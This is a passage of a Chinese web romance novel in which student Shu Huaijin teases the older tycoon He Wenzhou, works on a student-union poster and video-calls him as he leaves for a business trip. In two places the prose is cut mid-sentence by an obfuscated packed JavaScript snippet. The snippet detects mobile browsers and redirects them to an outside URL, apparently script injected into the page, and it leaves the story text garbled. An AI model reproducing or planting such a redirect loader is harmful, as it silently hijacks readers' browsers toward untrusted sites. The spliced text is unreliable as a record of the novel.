舒怀瑾缓口气,心头歉意深浓。死嘴,叫你胡乱调戏人,这下闹乌龙了吧。 自腥风血雨中夺得拳搏赌场继承权的往事并不光彩,贺问洲那些不为人道的过去亦随着倾囊捐赠而埋葬,无人再提起。 媒体们如今只记得这双手干净的一面,谈及他数年前在华尔街叱咤风云,带着赚下的第一桶金归国,趁着时代兴起的浪潮创办了商业帝国。 最近对过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626964|172416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去的缅怀太频繁了些。 贺问洲心头有些烦躁,可早已没有东西束缚于喉间,再如何意图扯松,不过也是徒劳无功。 “舒怀瑾。”他背光而立,黑色西装在夜色下显出些许不羁的松弛。 朦胧的光自头顶的落灯洒下来,将他们的影子暧昧地纠缠在一起。 他眸光并无探究,单纯只是想从她这里听句答案,以分散注意力,“老实说,你所指代的不方便,是什么?” 舒怀瑾刚立正挨过打,这会咬着唇,支支吾吾不肯说。 贺问洲似乎有的是办法治她,“现在保持沉默的话,以后也别拐弯抹角地从我这里套取消息了。” 他打了个响指,做势就要吩咐司机驱车离开。 “别别别。”舒怀瑾急到上前拉住他,堪堪勾住他的衣摆,对上贺问洲深沉平静的视线,红着脸松开,朝他招招手,“你靠近一点我才能说。” 她身上馥郁的草莓甜香好似小钩子,将他的衬衣抓破,争先恐后地侵占着他的领地。 贺问洲没动,只微微倾身。 合身的西装马甲因此而绷紧,劲瘦有力的窄腰曲线毕露。 “什么话只能我听?” 舒怀瑾眼神胡乱瞟着,低声说:“先发表一下免责声明,绝对没有年龄歧视!我以为你说客观条件不允许的意思是,身体存在问题。” 至于是硬件还是单纯心理上的,她不好意思再说下去。 回过神时,贺问洲脸色黑到底。 先前恪守的礼节和界限,就这么因为她这句没头没尾的揣测打乱。男人迫近半步,如山倾般的暗影压下来。 “年龄,歧视?” 他咬住的关键词汇让舒怀瑾陷入了越描越黑的怪圈,她慌忙摆手,“这也不怪我啊,从科学上讲,过了二十五岁后,各项机能会断崖式下降……” 贺问洲眸光渐沉,他想过她的问题不会有多正经,却没想过,能偏到男性功能方面去。舒宴清管她虽然管得紧,但到底有着性别差异,大概从未聊过与性有关的话题。 他与她非亲非故,深聊这个自然也不合适。 可性的话题不适合掩耳盗铃地规避。 短暂的数秒内,贺问洲权衡过后,眼帘半掀,严肃道:“从哪学的这些?” 舒怀瑾诚恳地说:“大数据老师。” 各个软件沆瀣一气,简直就是窃听重灾区,知道她想追大她十一岁的男人,不是疯狂推老夫少妻的组合,就是各种唱衰的科普,给她强塞了一堆毫无用处的冷知识。 见她是从网上看的,贺问洲冷厉的神色缓和了些,“网上的内容来源复杂,你既然已经成年了,应该具备一定的信息甄别能力。” 舒怀瑾小声:“这个没法甄别啊……” “幸存者偏差。” 贺问洲抬手,示意她将狐狸玩偶抱走,“不要碰见一个不算熟的男人,就把公式往他身上套。这世上形形色色的人很多,各不相同,无法用简单的数据和标签概括。” 舒怀瑾蹭了蹭狐狸耳朵,担心再深入讨论到底行不行的话题,场面会彻底失控,提议:“要不,你上楼坐坐?” “补充一点。”贺问洲严重怀疑,他操的是既当爹又当妈、还附带兄长的心,“独居女性不要在深夜邀请男人去家里做客,无论处于哪种原因。” “那白天是不是可以?”她换着牛角尖钻。 贺问洲强调:“任何时候都不可以。” 舒怀瑾只想给他展示一下自己满墙的小提琴。倘若他对她也有非分之想,无疑是锦上添花。不过很可惜,他没有。顺便还以此为鉴,向她灌输了一系列听得耳朵都快起了茧子的安全意识。 她又不傻,哪能不懂这些道理,邀请他纯粹是因为馋他身子。 很好,今日份的开心和不开心被名为贺问洲的男人阔气包揽。 舒怀瑾悻悻然,忍不住使坏心思,不管三七二十一地向他透露细节,“我住在十七楼。” 贺问洲沉默不语。 “有电梯的。”舒怀瑾这句话杀伤力极强。言下之意是,不用担心体力不够爬不了楼层。 贺问洲挑起半边眉峰,危险的气息笼罩在周身,“最重要的一句,我的体力很好,不要再三质疑。” 13. 暴雪夜(入V公告) 为了将玲娜贝儿的助攻物尽其用,舒怀瑾精心挑选了几张心机满满的合照发朋友圈。 舒宴清点了个赞,评论:[什么去的沪市?] 之前舒宴清陪她去过一次,两兄妹的手气简直背得如出一辙,抽了十几次都没中。 她用得意洋洋的语气回复:[朋友送的] 舒怀瑾不确定贺问洲会不会看到她和舒宴清的对话。没准有的人嘴上说着不刷朋友圈,私底下连一张照片都要仔细放大翻来覆去地看呢。 大学校园里,众人对于各种八卦的讨论兴致来得快,散得快,新鲜的梗用不了几次就过时了。舒怀瑾照常上课、去食堂吃饭,参加学生会每周的例会,无视周遭的一切好奇的目光。 宣传部的例会内容简单,无非就是学院每隔一阵要举行各种主题的学生活动,她们配合着做海报、摄影、剪辑以及完成写新闻稿等一系列任务。 由大二的部长们分配,带着她们各自发挥专长。 舒怀瑾这次分得的任务,是用photoshop和InDesign制作校园歌手选拔赛的选手个人介绍辑。 部门内部开设的软件学习课,总共只开了两节,舒怀瑾那段时间在剧院蹲点贺问洲,正好请了假没参加。 “舒怀瑾,常浩杰,唐斌,这次的个人辑海报你们几个认真做。”副部一改平日的嬉皮笑脸,“外联拉了不少学校附近的商家赞助,logo和店内广告语要想办法放在合适的地方,大概三天时间完成,过后我会从中改出一版,和外联对接。” 作为组织部成员前来旁听例会的苏雨低头给她发消息:[居然要和外联对接!哪个偷拍男肯定也在群里,要不你和她们谁换一下,还是像以前一样负责拍照] 歌手选拔塞为期两天,比起做海报,拍照的活更累,不仅要站一整天,结束后还要修图、导出视频等,没多少人愿意做这个。 苏雨站在她的角度,帮她想了个规避冲突的办法。 一直到例会结束,舒怀瑾都没有提出异议。 散场后,常浩杰自桌面递过来一枚U盘,“上次培训PS和InDesign的时候我录了屏,你要是有需要可以看看。” 舒怀瑾寒假的时候下了这两个软件,只是她一直负责稿件和摄影这块,没接触过。现在是知识免费的年代,网上大把的教程,想学什么不愁找不到,犯不着欠个人情。 她挽唇礼貌道谢,“谢谢你的好意,不过我室友对这两个软件挺熟的,就不麻烦你了。” 常浩杰:“好,有不懂的尽管问我。” 舒怀瑾笑容大方:“那肯定的!” 常浩杰还想就着她被造谣的事安慰两句,见她挥手后人已经走远,于是作罢。 苏雨全程围观了两人的对话,不过舒怀瑾这种纯欲小太阳的风格在学校一向受欢迎,作为室友已经习以为常了。颜值不对等,瞎嗑也嗑不起来。 她的重点还是放在和外联对接的事上,“姓梁的那小子要是为难你怎么办?” “该心虚的人是他才对。”舒怀瑾说,“我上次就因为私事没做好本质工作,这次要是再推脱,和临阵脱逃有什么区别?” 虽然她明年不会留在学生会,但也不想就这么水着混过去,多学点东西总没错。 苏雨见状没继续再劝,嘱咐她:“那你小心点。” 舒怀瑾为此熬夜两个夜,一有时间就泡在寝室研究,总算按时交了差。她们这批干事的审美和技术有限,像这种重要的大型活动,未必会从她们三人的作品中选取。 转码格式发过去后,副部长拉了个线上会议,给她讲了大致的修改方向。 没说用不用她这版。 耗费了心血的作品,舒怀瑾当然得认真对待,来回调整了七八次,副部长拉她进了个十人小群。 [大家好,这是我们部门负责制作歌手个人辑的干事舒怀瑾@井盖的瑾,海报已发送至各位邮箱,请查收。另外梁部长有时间记得尽快给下审核意见@L(] 好家伙,冤家路窄。 学生会里官僚气息虽然浓厚,到底还是组成的草台班子,舒怀瑾对此没有太多滤镜,挑了个表情包代替发言。 没过多久,姓梁的偷拍男发来了好友申请,备注是有几处细节建议她调整一下。 舒怀瑾已读不回。 在群里@他,让他将意见发在群里。 这下换对面装死了。 最近忙到起飞,舒怀瑾连食堂都没去,点的全是外卖,没什么能够拍照跟贺问洲分享的内容,干脆截了一小节图。 纯粹吐槽的口吻,包含一点企图获得安慰的套路。 另一端,贺问洲正处在集团总裁办公室内。长腿交叠,坐姿松弛,静默地听着高层汇报季度总结。 他的行程安排紧凑,空闲的时间仅持续到下午四点,便要乘坐私人飞机前往意大利。 修长的指尖落在屏幕上时,他微微蹙眉。 微不可闻的神情变化,让播放PPT的高层冷汗迭出,担心上季度分公司的营收同比下滑的数据引得贺总不虞,心都快提到了嗓子眼。 贺问洲身居高位多年,向来恩威并施,手段雷霆,在场之人皆对他有着天然的畏惧。 众人心思各异地揣测着,殊不知日理万机之人,不过是在回复小姑娘的消息。汇报结束,贺问洲意兴阑珊地抬眼,“港岛那边的合作继续推进,利润别让太多。” 高层战战兢兢地应着,“好的,贺总。” 贺问洲站起身,拍了拍他的肩,“这是你最后的机会,自己把握,不行就换人吧。” 云淡风轻的一句话,带来的压迫感胜过任何冗长的谈话,在场噤若寒蝉。 贺问洲对身侧的助理道:“晚点提炼重点,整理成会议纪要发我邮箱。” [那人还在骚扰你?] 舒怀瑾看着贺问洲发过来的内容,疑惑了一瞬,这个还字用得很微妙。她又没告诉贺问洲自己的计划,他怎么知道会产生警示作用? 她哥说过,贺问洲极少插手管闲事,她和他之间还处在她单方面死缠烂打的关系,他必然不会帮她。 最多,买点无关紧要的东西哄哄。 舒怀瑾见他有空听她闲扯,试探地问:[过几天有空吗?我们学院组织歌手比赛,我做了海报,想邀请你来参观] 贺问洲:[你要上台?] 她会的唱歌技巧太少了,要是报名的话,大概率第一轮就被刷下来了。 [我当然不去了,非全能选手,最多只能伴伴奏] 他没说来或不来,舒怀瑾也不着急,毕竟上市集团总裁的每一秒都是金钱,哪会专程过来陪她。 对面沉默之后,舒怀瑾鼓起勇气打了个视频电话过去,贺问洲竟然接通了。镜头显然没有调转过来,入目便是高定皮鞋踏在冷灰调瓷砖的画面,数双长腿步履匆匆,社会精英的精致感扑面而来。 她抿了抿唇,小声:“你在开会啊?我还以为你这会儿不忙,要不我先挂了……” 陡然传出的女声让同行的高层愣了愣,旋即不可思议地面面相觑。 贺总什么时候红鸾星动了?听声音,还是个年轻明媚的女孩。 这太魔幻了。 贺问洲放慢脚步,回应的声线温淡,“华而不实的会议内容,没必要浪费时间。” 他说话的语气虽算不上多温柔,但耐心远胜以往。言语中无形敲打着在场的高层。 舒怀瑾手指贴着掌心,经过这几次的相处,同他说话时不再有所顾忌,“贺大佬平时在公司这么凶,你的下属不会有怨言吗?要是我的老板每天板着一张脸,说话还不留余地,我肯定会天天蛐蛐。” 喻尧险些笑出声,被贺问洲散漫的一眼睨来后,轻了下嗓,站姿愈发笔直。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626965|172416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>贺问洲并没怪罪,乌眸微敛,拿过秘书递过来的文件,用钢笔签下同意和名字,淡淡回:“我哪句话凶了?” 舒怀瑾还是第一次看见他的字,笔锋锐利,线条流畅,动作如行云流水。 在他身边工作肯定是一种极致的视觉享受。 舒怀瑾没理也能说出七分底气来,“比如这句!语速太快,尾音上扬,显得凶巴巴的。不过想要改善很容易,你可以效仿我的方法。” 贺问洲忽然觉得他就不该接听这通电话。 省得听她在这胡扯。 他唇角的笑意浅淡,背后的全景落地窗过滤后的柔光漫洒在肩侧,将他周身镀上一层缱绻的光晕。 “比如?” 舒怀瑾在听筒那边笑,少女的笑声清脆悦耳。 “我瞎编的,你还真上钩啊!” 贺问洲:“就想听听你那嘴里能吐出什么象牙。” “切。”舒怀瑾冷哼,“别以为我听不出来你在骂我。” 两人一来一回地对着话,磁吸钢笔扣合上的声响啪嗒,六位数的钢笔,贺问洲随手置于桌面,切回前置摄像头。 面部折叠度极高的一张脸冲击力太强,舒怀瑾心跳漏了半拍。 他不着痕迹地用曲指抵了下额头,“舒小姐,我的航班还有半小时启程,你要是再卖关子,我可没办法陪你争论到底是谁在骂谁的问题。” “别以为我没见过市面。”舒怀瑾说,“民航上都有WIFI,根本不会断联。” 她佯装失落地叹了口气,“你就是觉得我聒噪,随便找个理由敷衍我,好尽快挂断电话。” 贺问洲就没见过这么会颠倒黑白的人,失笑:“这是事实。” 话密是真的,同她对一次话,堪比从前按部就班地过半个月。 舒怀瑾这小姑娘脾气好,被怼也不生气,追问:“你出差去哪里?北半球还是南半球?” “北半球。” “欧洲国家还是美国?” 贺问洲没中她的计,眉峰轻挑,“问这么多,你要雇人来暗杀我?” 舒怀瑾:“我就是想算算你能不能来得及参加活动。” “来不及。”贺问洲看了眼行程表,“我十七号才回京北。” 十七号,恰好在活动结束后。 舒怀瑾简单表达了下遗憾,按捺不住跃跃欲试套路他的心思,将话题饶了回去,“刚才的教学还没开始,你要不要抓紧学一下?现在做外贸这么难,交流时的语气和神态很可能影响合作结果。” 贺问洲喉结很轻地滚了滚,像是难得感兴趣,“你先教教看,舒老师。” 这声舒老师唤得没什么感情,一点都不苏。 舒怀瑾尽职尽责地纠正,“首先呢,你要试着用鼻腔共鸣,把声音压低一点,语速放柔。” 她的声音本就偏甜,放轻了声过后,如同一尾狐狸毛,轻飘飘的勾着调。向来八风不动的男人,竟因为少女的声音激起了丝缕异样的波澜。 “贺问洲,你怎么不说话?”舒怀瑾说,“师父领进门,修行在个人,光听不练是学不会的。” “知道了。”贺问洲敛下长眉,将被她扰乱的心神定了定,刻意压低的声线透着砂砾般的沙哑,“以后用这样的语气跟你说话,满意了么?舒老师。” 最后那句加重的字音格外冷磁,滚过耳廓,酥酥麻麻的。 手机屏幕里,少女娇俏的脸颊飞上一抹嫣红。 “你既然答应了,就不能反悔……” 贺问洲看清她肌肤上如海棠绽放的点点绯色,喉结一紧,像是有一双无形的手,拽着他不断下坠。 “什么话都信。”他克制地移开视线,深邃如墨的眸子恢复清明,“以后被人卖了还帮着人数钱。” 舒怀瑾一脸恹恹。 她不知道的是,深思游离的那三秒里,是他逃无可逃的心动。